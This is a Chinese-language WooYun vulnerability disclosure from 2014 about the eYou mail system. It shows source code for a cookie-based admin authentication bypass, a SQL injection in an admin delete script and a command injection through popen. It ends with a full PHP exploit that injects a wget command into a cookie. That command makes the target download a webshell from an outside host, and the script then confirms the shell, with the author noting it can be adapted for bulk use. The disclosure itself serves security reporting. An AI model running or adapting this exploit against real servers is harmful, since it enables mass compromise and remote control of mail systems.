[公开漏洞]亿邮邮件系统越权引发蝴蝶效应

亿邮邮件系统越权引发蝴蝶效应相关厂商：北京亿中邮信息技术有限公司漏洞作者：felixk3y 提交时间：2014-04-25 18:09 公开时间：2014-07-24 18:10 漏洞类型：设计缺陷/逻辑错误危害等级：高自评Rank：20 漏洞状态：已交由第三方厂商(cncert国家互联网应急中心)处理漏洞来源：http://www.wooyun.org Tags标签： webshell 设计缺陷/边界绕过信息泄露 php源码审核 php源码分析源码泄露 webshell 漏洞详情披露状态：

2014-04-25：细节已通知厂商并且等待厂商处理中
2014-04-29：厂商已经确认，细节仅向厂商公开
2014-05-02：细节向第三方安全合作伙伴开放
2014-05-09：细节向核心白帽子及相关领域专家公开
2014-05-19：细节向普通白帽子公开
2014-06-08：细节向实习白帽子公开
2014-07-24：细节向公众公开

简要描述：

漏洞系列一:亿邮邮件系统存在严重的越权，可引发异常强大的蝴蝶效应 ..
可引起：
1.数据/权限层面：SQL注入、任意文件上传等等等 ..
2.操作层面：添加任意管理员账号、删除任意管理员账号、查看任意管理员/用户账号信息、锁定任意账号等等等 ..
当然，同样可执行任意命令，获取服务器权限，漫游内网 ..
最重要的是，可实现批量拿SHELL(已证明)，批量批量哦 ..
最最重要是：哈哈这究竟算几个漏洞呢? 嗯??? 1个、2个、3个、4个、5个 ..
漏洞系列二：严重的信息泄露、源代码泄露（可直接获取数据库账号密码等信息）..

详细说明：

#1 越权之根源

随便打开一个文件看看，这里为

/grad/admin/admin_add_to.php（可添加毕业用户管理）

ValidateCookie();



// 定义毕业用户管理后台的常量

// 修改者：fenghui <fenghui@eyou.net>

// 修改日期：2007/06/27

define('GRAD_TPL_PATH', 'tpl/grad/admin/cn/style1/');  // 毕业用户管理后台模板路径

define('COOKIE_TIMEOUT', 1800);  // 管理后台登录有效时长

define('MYSQL_ADMIN_DB', 'email_user');  // 管理员账户的mysql数据库名

重点在 ValidateCookie();函数，跟上

/grad/admin/admin.function.php

function ValidateCookie()

{

    //add by yangfeng on 2007-03-29 start 访问$lang中的值

    global $lang;

//    print_r($_COOKIE);

//    echo $_COOKIE["cookie"].'<br>';

//    echo $_COOKIE['admin'];

    //end

    if(empty($_COOKIE["cookie"]) || empty($_COOKIE['admin']))// 这里

    {

        show_msg($lang['TIMEOUT'],$lang['VALIDATECOOKIE'],0,"javascript:window.top.location.href='/grad/admin/index.php';void(0);");

    }else

    {   

        setcookie('cookie', $_COOKIE["cookie"], time()+1800);

        setcookie('admin',  $_COOKIE['admin'], time()+1800);

        setcookie("admin_grad",$_COOKIE['admin_grad'],time()+1800);

    }

}

权限验证居然还有这样的，只要cookie admin 不为空就通过了 ..

(感叹下 ..此处省略10000字 ..)

#2 操作层面证明

对于添加任意管理员账号、删除任意管理员账号、查看任意管理员/用户账号信息、锁定任意账号就不一一证明了，简单说明下就ok ..

添加用户等 ..

#3 SQL注入

总共有好几处，你们检查下，这里只贴一处

/grad/admin/admin_del_to.php （删除管理员）

$admin_id = request('admin_id');

if (empty($admin_id) || $admin_id == '') {

show_msg($lang['ERROR'], '参数错误，无法删除！', 0);

}



// 删除管理员

$mysql = new mysql(MYSQL_HOST, MYSQL_USER, MYSQL_PW, MYSQL_ADMIN_DB);

$mysql->connect();

$query = "DELETE FROM admin_users WHERE admin_id = $admin_id";

$mysql->query($query, true);

if ($mysql->affected_rows() != 1) {

show_msg($lang['ERROR'], '无法从数据库中删除管理员！', 0);

}

show_msg($lang['SUCCESS'], '删除成功', 1, '/grad/admin/admin_list.php');

?>

这里的 $admin_id 参数，不多说：

$admin_id = request('admin_id');

$query = "DELETE FROM admin_users WHERE admin_id = $admin_id";

#4 命令执行

/grad/admin/admin_logo_upload.php

require_once("admin.config.php");//这里有权限验证，够造cookie可以绕过

//--获取变量

$domain = $_COOKIE['cookie'];

//是否上传图片

if(!file_exists($_FILES["logofile"]["tmp_name"]))

{

   show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_NOFILE'],0); 

   exit();

}

//判断上传的文件是否为图片

$uptypes=array('image/jpg','image/jpeg','image/png', 'image/pjpeg','image/gif','image/bmp','image/x-png'); 

if(!in_array($_FILES["logofile"]["type"], $uptypes))  

{

 show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_FILETYPE'],0);

 exit();

}

//判断图片大小

/*

if (filesize($_FILES["logofile"]["tmp_name"]) >= 204800){

    show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_BIG'],0);    

    exit();

}

*/

//获取上传目录  2007-04-06 wanglei

$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');

$res = fread($fp,1024);

if(!$res)

{

    show_msg($lang['ADMIN_MAINMENU_PATH_EROR']);

}

上面的代码中

require_once("admin.config.php");//这里有权限验证，够造cookie可以绕过

接下来看

$domain = $_COOKIE['cookie'];

 ...

$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');

 ...

没有经过任何过滤便进入了危险的函数popen，造成任意命令执行漏洞。

#5 批量getsehll证明

码字太恼火了,直接给出命令执行漏洞的exp(稍微修改即可实现批量)

<?php

/*

 * Created By felixk3y ..

 * eYou getshell exploit ..

 */

 error_reporting(8);

 if($argc < 1){

    die('eyou_exp.php www.secmap.cn\r\n');

 }

 $host = $argv[1];

 $cookie ="admin=admin; cookie=1 || wget http://www.secmap.cn/1.txt -O /var/eyou/apache/htdocs/grad/admin/shell.php || 1";

 $bodys = upload();

 $res = httpRequest($host,$cookie,$bodys);

 $shell = "http://".$host."/grad/admin/shell.php";

 $re  = getshell($shell);

 if($re){

echo "Success ..\nShell is :".$shell."\nPass is [ c ] .. \n";

 }else{

echo "限制关键词 Failed ..\n";

 }

 function upload(){

 $upload = "------WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";

 $upload .= "Content-Disposition: form-data; name=\"logofile\"; filename=\"upload.php\"\r\n";

 $upload .= "Content-Type: image/jpeg\r\n\r\n";

 $upload .= "GIF89a1234567890\r\n";

 $upload .= "------WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";

 $upload .= "Content-Disposition: form-data; name=\"submit\"\r\n\r\n";

 $upload .= "Upload\r\n";

 $upload .= "------WebKitFormBoundaryuywfhWmIjXoYyW1c--\r\n\r\n";

 return $upload;

 }

 function getshell($url){

    $headers = get_headers($url);

    if(strpos($headers[0], 'HTTP/1.1 200 OK') === 0) {

return true;

    } else {

return false;

    }

}

 function httpRequest($host,$cookie,$body){

 $data = '';

 $data .= "POST /grad/admin/admin_logo_upload.php HTTP/1.1\r\n";

 $data .= "Host: $host\r\n";

 $data .= "Proxy-Connection: keep-alive\r\n";

 $data .= "Content-Length: ".strlen($body)."\r\n";

 $data .= "Cache-Control: max-age=0\r\n";

 $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n";

 $data .= "Origin: null\r\n";

 $data .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";

 $data .= "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";

 $data .= "Accept-Encoding: gzip,deflate,sdch\r\n";

 $data .= "Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4\r\n";

 $data .= "Cookie: ".$cookie."\r\n\r\n";

 $data .= $body;

 $fp = @fsockopen($host, 80);

     if(!$fp){

 exit('Could not connect to: ' . $host);

     }else{

 fwrite($fp, $data);

         $resp = '';

         while(!feof($fp)) {

            $resp .= fread($fp, 1024);

         }

         fclose($fp);

     }

     return $resp;

}



?>